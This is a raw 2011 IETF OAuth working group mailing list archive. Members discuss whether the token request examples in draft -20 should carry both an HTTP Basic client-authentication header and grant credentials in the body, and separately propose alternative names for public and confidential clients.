In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20,= the examples contain both the line “Authorization: Basic czZCa= GRSa3F0MzpnWDFmQmF0M2JW” and credentials in the post body.  For instance, the example from 4.3.2 is:

 

  = ;   POST /token HTTP/1.1

  = ;   Host: server.example.com

  = ;   Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW<= /span>

  = ;   Content-Type: application/x-www-form-urlencoded;charset=3DUTF= -8

 =

  = ;   grant_type=3Dpassword&username=3Djohndoe&password=3DA= 3ddj3w

 =

I believe that the “Authorization: Basic= czZCaGRSa3F0MzpnWDFmQmF0M2JW” line should be deleted from all= of these examples, as you either use Basic or credentials in the post body, but not both.

 

        &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p; Thanks,

        &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p; -- Mike

 

--_000_4E1F6AAD24975D4BA5B16804296739434985C1B5TK5EX14MBXC207r_-- From sweeden@au1.ibm.com Mon Jul 25 21:58:30 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 73A6F11E80FD; Mon, 25 Jul 2011 21:58:30 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.905 X-Spam-Level: X-Spam-Status: No, score=-6.905 tagged_above=-999 required=5 tests=[AWL=-0.347, BAYES_00=-2.599, MIME_BASE64_BLANKS=0.041, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ga3U5ba1VmOE; Mon, 25 Jul 2011 21:58:29 -0700 (PDT) Received: from e23smtp04.au.ibm.com (e23smtp04.au.ibm.com [202.81.31.146]) by ietfa.amsl.com (Postfix) with ESMTP id 9B87511E8072; Mon, 25 Jul 2011 21:58:28 -0700 (PDT) Received: from d23relay05.au.ibm.com (d23relay05.au.ibm.com [202.81.31.247]) by e23smtp04.au.ibm.com (8.14.4/8.13.1) with ESMTP id p6Q4pxVF007135; Tue, 26 Jul 2011 14:51:59 +1000 Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138]) by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p6Q4vdk7741392; Tue, 26 Jul 2011 14:57:39 +1000 Received: from d23av02.au.ibm.com (loopback [127.0.0.1]) by d23av02.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p6Q4wICR019183; Tue, 26 Jul 2011 14:58:18 +1000 Received: from d23ml004.au.ibm.com (d23ml004.au.ibm.com [9.190.250.23]) by d23av02.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p6Q4wIP4019178; Tue, 26 Jul 2011 14:58:18 +1000 In-Reply-To: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> References: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> X-KeepSent: A2068027:F472A84C-4A2578D9:001B3B5C; type=4; name=$KeepSent To: Mike Jones X-Mailer: Lotus Notes Release 8.5.1FP1 SHF20 February 10, 2010 Message-ID: From: Shane B Weeden Date: Tue, 26 Jul 2011 14:58:19 +1000 X-MIMETrack: Serialize by Router on d23ml004/23/M/IBM(Release 8.5.1FP4HF290 | June 6, 2011) at 26/07/2011 15:01:51 MIME-Version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: base64 Cc: "oauth@ietf.org" , oauth-bounces@ietf.org Subject: Re: [OAUTH-WG] Extra "Authorization: Basic" lines in examples X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 04:58:30 -0000 TWlrZSAtIEkgZG9uJ3QgdGhpbmsgdGhhdCdzIHRydWUgZm9yIHRoZSByZXNvdXJjZSBvd25lciBw YXNzd29yZA0KY3JlZGVudGlhbHMgZmxvdyB0aGF0IHlvdSBzaG93ZWQgYmVsb3cuDQoNClRoZSBB dXRob3JpemF0aW9uIGhlYWRlciBpcyBhdXRoZW50aWNhdGluZyB0aGUgY2xpZW50LCB0aGUNCnVz ZXJuYW1lL3Bhc3N3b3JkIFBPU1QgYm9keSBwYXJhbXMgcmVwcmVzZW50IHRoZSByZXNvdXJjZSBv d25lci4NCg0KDQoNCg0KRnJvbToJTWlrZSBKb25lcyA8TWljaGFlbC5Kb25lc0BtaWNyb3NvZnQu Y29tPg0KVG86CSJvYXV0aEBpZXRmLm9yZyIgPG9hdXRoQGlldGYub3JnPg0KRGF0ZToJMjYtMDct MTEgMDI6MzEgUE0NClN1YmplY3Q6CVtPQVVUSC1XR10gRXh0cmEgIkF1dGhvcml6YXRpb246IEJh c2ljIiBsaW5lcyBpbiBleGFtcGxlcw0KU2VudCBieToJb2F1dGgtYm91bmNlc0BpZXRmLm9yZw0K DQoNCg0KSW4gc2VjdGlvbnMgNC4xLjMsIDQuMy4yLCA0LjQuMiwgYW5kIDYgb2YgZHJhZnQgLTIw LCB0aGUgZXhhbXBsZXMgY29udGFpbg0KYm90aCB0aGUgbGluZSDigJxBdXRob3JpemF0aW9uOiBC YXNpYyBjelpDYUdSU2EzRjBNenBuV0RGbVFtRjBNMkpX4oCdIGFuZA0KY3JlZGVudGlhbHMgaW4g dGhlIHBvc3QgYm9keS4gIEZvciBpbnN0YW5jZSwgdGhlIGV4YW1wbGUgZnJvbSA0LjMuMiBpczoN Cg0KICAgICBQT1NUIC90b2tlbiBIVFRQLzEuMQ0KICAgICBIb3N0OiBzZXJ2ZXIuZXhhbXBsZS5j b20NCiAgICAgQXV0aG9yaXphdGlvbjogQmFzaWMgY3paQ2FHUlNhM0YwTXpwbldERm1RbUYwTTJK Vw0KICAgICBDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtj aGFyc2V0PVVURi04DQoNCiAgICAgZ3JhbnRfdHlwZT1wYXNzd29yZCZ1c2VybmFtZT1qb2huZG9l JnBhc3N3b3JkPUEzZGRqM3cNCg0KSSBiZWxpZXZlIHRoYXQgdGhlIOKAnEF1dGhvcml6YXRpb246 IEJhc2ljIGN6WkNhR1JTYTNGME16cG5XREZtUW1GME0ySlfigJ0gbGluZQ0Kc2hvdWxkIGJlIGRl bGV0ZWQgZnJvbSBhbGwgb2YgdGhlc2UgZXhhbXBsZXMsIGFzIHlvdSBlaXRoZXIgdXNlIEJhc2lj IG9yDQpjcmVkZW50aWFscyBpbiB0aGUgcG9zdCBib2R5LCBidXQgbm90IGJvdGguDQoNCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRo YW5rcywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIC0tIE1pa2UNCiBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fXw0KT0F1dGggbWFpbGluZyBsaXN0DQpPQXV0aEBpZXRmLm9yZw0KaHR0cHM6Ly93 d3cuaWV0Zi5vcmcvbWFpbG1hbi9saXN0aW5mby9vYXV0aA0K From bigbadbob0@gmail.com Mon Jul 25 22:02:07 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D222621F8ABE for ; Mon, 25 Jul 2011 22:02:07 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.93 X-Spam-Level: X-Spam-Status: No, score=-2.93 tagged_above=-999 required=5 tests=[AWL=0.047, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id b3wwVPYFvI+w for ; Mon, 25 Jul 2011 22:02:07 -0700 (PDT) Received: from mail-qy0-f179.google.com (mail-qy0-f179.google.com [209.85.216.179]) by ietfa.amsl.com (Postfix) with ESMTP id 43B2E21F8A70 for ; Mon, 25 Jul 2011 22:02:07 -0700 (PDT) Received: by qyk29 with SMTP id 29so45310qyk.10 for ; Mon, 25 Jul 2011 22:02:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=oAhjaKnzgqlz2TsKb3e7Jbnw1eSqv1+Is26fvwPnh7M=; b=TCAVOm8bEg3q83PZHws9pbKotyoc9jxXJnLNGw+i0nI/QzK59Aj4n4paCFBBFnqfC+ znDIUyk6vPog/3qfxEXIcKw+Cja2G0/BF2T+QIbNZl9hl1bWv+zoQ/fP7LBSrly0VMGx CwcMivBx3wzmjw8lIqPoe1zeGoyqatI0IIeIY= MIME-Version: 1.0 Received: by 10.229.7.3 with SMTP id b3mr3912296qcb.194.1311656526530; Mon, 25 Jul 2011 22:02:06 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.187.136 with HTTP; Mon, 25 Jul 2011 22:02:06 -0700 (PDT) In-Reply-To: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> References: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> Date: Mon, 25 Jul 2011 22:02:06 -0700 X-Google-Sender-Auth: NLyoEJq0dinp2IU8bSjo0MojoqI Message-ID: From: Bob Van Zant To: Mike Jones Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Extra "Authorization: Basic" lines in examples X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 05:02:07 -0000 The Authorization header in those examples is authorizing the client. In 4.1.3 the /token URI requires HTTP basic authorization to access. Section 2.4 talks about this more. -Bob On Mon, Jul 25, 2011 at 9:27 PM, Mike Jones w= rote: > In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain > both the line =93Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW=94 and > credentials in the post body.=A0 For instance, the example from 4.3.2 is: > > > > =A0=A0=A0=A0 POST /token HTTP/1.1 > > =A0=A0=A0=A0 Host: server.example.com > > =A0=A0=A0=A0 Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW > > =A0=A0=A0=A0 Content-Type: application/x-www-form-urlencoded;charset=3DUT= F-8 > > > > =A0=A0 =A0=A0grant_type=3Dpassword&username=3Djohndoe&password=3DA3ddj3w > > > > I believe that the =93Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW= =94 line > should be deleted from all of these examples, as you either use Basic or > credentials in the post body, but not both. > > > > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Thanks, > > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 -- Mike > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > From bcampbell@pingidentity.com Mon Jul 25 22:06:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2871711E8083 for ; Mon, 25 Jul 2011 22:06:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.951 X-Spam-Level: X-Spam-Status: No, score=-5.951 tagged_above=-999 required=5 tests=[AWL=0.026, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jHmsQQQNI0Zj for ; Mon, 25 Jul 2011 22:06:18 -0700 (PDT) Received: from na3sys009aog106.obsmtp.com (na3sys009aob106.obsmtp.com [74.125.149.76]) by ietfa.amsl.com (Postfix) with ESMTP id 55C3F11E807F for ; Mon, 25 Jul 2011 22:06:18 -0700 (PDT) Received: from mail-qy0-f176.google.com ([209.85.216.176]) (using TLSv1) by na3sys009aob106.postini.com ([74.125.148.12]) with SMTP ID DSNKTi5LSfy4E1a0LRsA30q2EruCo4JNizai@postini.com; Mon, 25 Jul 2011 22:06:18 PDT Received: by mail-qy0-f176.google.com with SMTP id 4so43619qyk.7 for ; Mon, 25 Jul 2011 22:06:17 -0700 (PDT) Received: by 10.224.178.145 with SMTP id bm17mr4191688qab.93.1311656777094; Mon, 25 Jul 2011 22:06:17 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Mon, 25 Jul 2011 22:05:47 -0700 (PDT) In-Reply-To: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> References: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> From: Brian Campbell Date: Mon, 25 Jul 2011 23:05:47 -0600 Message-ID: To: Mike Jones Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Extra "Authorization: Basic" lines in examples X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 05:06:19 -0000 I believe those examples are okay. The content in the post body is the grant while the HTTP Basic Authorization header is the client authentication. They are two different things. On Mon, Jul 25, 2011 at 10:27 PM, Mike Jones wrote: > In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain > both the line =93Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW=94 and > credentials in the post body.=A0 For instance, the example from 4.3.2 is: > > > > =A0=A0=A0=A0 POST /token HTTP/1.1 > > =A0=A0=A0=A0 Host: server.example.com > > =A0=A0=A0=A0 Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW > > =A0=A0=A0=A0 Content-Type: application/x-www-form-urlencoded;charset=3DUT= F-8 > > > > =A0=A0 =A0=A0grant_type=3Dpassword&username=3Djohndoe&password=3DA3ddj3w > > > > I believe that the =93Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW= =94 line > should be deleted from all of these examples, as you either use Basic or > credentials in the post body, but not both. > > > > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Thanks, > > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 -- Mike > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > From eran@hueniverse.com Mon Jul 25 22:24:41 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7A82921F8782 for ; Mon, 25 Jul 2011 22:24:41 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.556 X-Spam-Level: X-Spam-Status: No, score=-2.556 tagged_above=-999 required=5 tests=[AWL=0.042, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id SiszhHoW5UCX for ; Mon, 25 Jul 2011 22:24:40 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 19D9621F8772 for ; Mon, 25 Jul 2011 22:24:39 -0700 (PDT) Received: (qmail 28159 invoked from network); 26 Jul 2011 05:24:39 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 26 Jul 2011 05:24:39 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 25 Jul 2011 22:24:39 -0700 From: Eran Hammer-Lahav To: Mike Jones , "oauth@ietf.org" Date: Mon, 25 Jul 2011 22:24:01 -0700 Thread-Topic: Extra "Authorization: Basic" lines in examples Thread-Index: AcxLTFA0Z4eHMpLuQm277UVh4Gql/gAB+PmQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F594D@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> In-Reply-To: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E723450245F594DP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Extra "Authorization: Basic" lines in examples X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 05:24:41 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E723450245F594DP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable There is nothing wrong with the examples. From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of M= ike Jones Sent: Monday, July 25, 2011 9:28 PM To: oauth@ietf.org Subject: [OAUTH-WG] Extra "Authorization: Basic" lines in examples In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain b= oth the line "Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW" and creden= tials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=3DUTF-8 grant_type=3Dpassword&username=3Djohndoe&password=3DA3ddj3w I believe that the "Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW" line= should be deleted from all of these examples, as you either use Basic or c= redentials in the post body, but not both. Thanks, -- Mike --_000_90C41DD21FB7C64BB94121FBBC2E723450245F594DP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

There is nothing wrong with the examples.

 

From: oauth-bounces@ietf.org = [mailto:oauth-bounces@ietf.org] On Behalf Of Mike Jones
Sent:<= /b> Monday, July 25, 2011 9:28 PM
To: oauth@ietf.org
Subjec= t: [OAUTH-WG] Extra "Authorization: Basic" lines in examples<= o:p>

 

=

In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, t= he examples contain both the line “Authorization: Basic czZCaGRSa3F0MzpnWDF= mQmF0M2JW” and credentials in the post body.  For instanc= e, the example from 4.3.2 is:

 = ;

  &n= bsp;  POST /token HTTP/1.1

     Host: server.example.c= om

&= nbsp;    Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW

 = ;    Content-Type: application/x-www-form-urlencoded;charset= =3DUTF-8

 

     grant_type=3Dpassword&username=3Djohnd= oe&password=3DA3ddj3w

 

I = believe that the “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW&= #8221; line should be deleted from all of these examples, as you either use= Basic or credentials in the post body, but not both.

 

   &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;      Thanks,

            = ;            &n= bsp;            = ;            &n= bsp;          -- Mike

 

= --_000_90C41DD21FB7C64BB94121FBBC2E723450245F594DP3PW5EX1MB01E_-- From phil.hunt@oracle.com Tue Jul 26 05:10:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 79C3E21F8B13 for ; Tue, 26 Jul 2011 05:10:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.423 X-Spam-Level: X-Spam-Status: No, score=-3.423 tagged_above=-999 required=5 tests=[AWL=-0.824, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hnr2a9lDVipS for ; Tue, 26 Jul 2011 05:10:21 -0700 (PDT) Received: from acsinet15.oracle.com (acsinet15.oracle.com [141.146.126.227]) by ietfa.amsl.com (Postfix) with ESMTP id 7BB0D21F8B28 for ; Tue, 26 Jul 2011 05:10:21 -0700 (PDT) Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by acsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id p6QCAIO5001609 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 26 Jul 2011 12:10:19 GMT Received: from acsmt356.oracle.com (acsmt356.oracle.com [141.146.40.156]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id p6QCAHKI015411 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 26 Jul 2011 12:10:18 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by acsmt356.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id p6QCAC0j012040 for ; Tue, 26 Jul 2011 07:10:12 -0500 Received: from [10.255.254.154] (/70.25.120.2) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 26 Jul 2011 05:10:12 -0700 From: Phil Hunt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Date: Tue, 26 Jul 2011 08:10:11 -0400 Message-Id: <18E17ED4-E534-4DE3-82DE-C067CB6EFF7E@oracle.com> To: OAuth WG Mime-Version: 1.0 (Apple Message framework v1084) X-Mailer: Apple Mail (2.1084) X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Auth-Type: Internal IP X-CT-RefId: str=0001.0A090203.4E2EAEAC.000F:SCFMA922111,ss=1,re=-4.000,fgs=0 Subject: [OAUTH-WG] private/public/confidential X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 12:10:22 -0000 Looking at draft 20, the public/confidential (replacing private) terms = still seem awkward. I still had a "huh" reaction. It appears that the major qualities are: how wide is the client = distributed and shared and how well the client app is controlled. How about widely-distributed vs. controlled-distribution ?=20 Other ideas? Phil @independentid www.independentid.com phil.hunt@oracle.com From aiden449@gmail.com Tue Jul 26 05:20:37 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EE5DF21F86BC for ; Tue, 26 Jul 2011 05:20:36 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.092 X-Spam-Level: X-Spam-Status: No, score=-3.092 tagged_above=-999 required=5 tests=[AWL=0.506, BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yzwo0OXC9CHv for ; Tue, 26 Jul 2011 05:20:36 -0700 (PDT) Received: from mail-qy0-f179.google.com (mail-qy0-f179.google.com [209.85.216.179]) by ietfa.amsl.com (Postfix) with ESMTP id D208221F86AF for ; Tue, 26 Jul 2011 05:20:35 -0700 (PDT) Received: by qyk29 with SMTP id 29so228678qyk.10 for ; Tue, 26 Jul 2011 05:20:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=eSz7iVO/LM770LTzlh0E+eGlU9mrMVaDMWrbc9QnrhU=; b=lk/MC9s7QV05qmUVwXiU3GCtr3Zhk8E9MS6LxdN5xTyPTuld3A4fCb0C1qk+nqm4iR 41vjUtFpfzi/GwjesOAVTn33H9QdDUSuVpXsEOArcSjooAkYKQUojisjTZfloMJDZnuL z5k0Yanse2hLfNH02S/XR0sbDx6+VF6gVPr5c= MIME-Version: 1.0 Received: by 10.229.79.20 with SMTP id n20mr4265343qck.275.1311682833546; Tue, 26 Jul 2011 05:20:33 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Tue, 26 Jul 2011 05:20:33 -0700 (PDT) In-Reply-To: <18E17ED4-E534-4DE3-82DE-C067CB6EFF7E@oracle.com> References: <18E17ED4-E534-4DE3-82DE-C067CB6EFF7E@oracle.com> Date: Tue, 26 Jul 2011 13:20:33 +0100 Message-ID: From: Aiden Bell To: Phil Hunt Content-Type: multipart/alternative; boundary=00163646d9b359ffaf04a8f7f502 Cc: OAuth WG Subject: Re: [OAUTH-WG] private/public/confidential X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 12:20:37 -0000 --00163646d9b359ffaf04a8f7f502 Content-Type: text/plain; charset=ISO-8859-1 Or even: closed-systems and open-systems, though "open" has alot of baggage. On 26 July 2011 13:10, Phil Hunt wrote: > Looking at draft 20, the public/confidential (replacing private) terms > still seem awkward. I still had a "huh" reaction. > > It appears that the major qualities are: how wide is the client > distributed and shared and how well the client app is controlled. > > How about widely-distributed vs. controlled-distribution ? > > Other ideas? > > Phil > > @independentid > www.independentid.com > phil.hunt@oracle.com > > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --00163646d9b359ffaf04a8f7f502 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Or even: closed-systems and open-systems, though "open" has alot = of baggage.

On 26 July 2011 13:10, Phil H= unt <phil.hunt= @oracle.com> wrote:
Looking at draft 20, the public/confidentia= l (replacing private) terms still seem awkward. I still had a "huh&quo= t; reaction.

It appears that the major qualities are: =A0how wide is the client distribu= ted and shared and how well the client app is controlled.

How about widely-distributed vs. controlled-distribution ?

Other ideas?

Phil

@independentid
www.independenti= d.com
phil.hunt@oracle.com





_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



--
-----------------------= -------------------------------------------
Never send sensitive or priv= ate information via email unless it is encrypted. http://www.gnupg.org
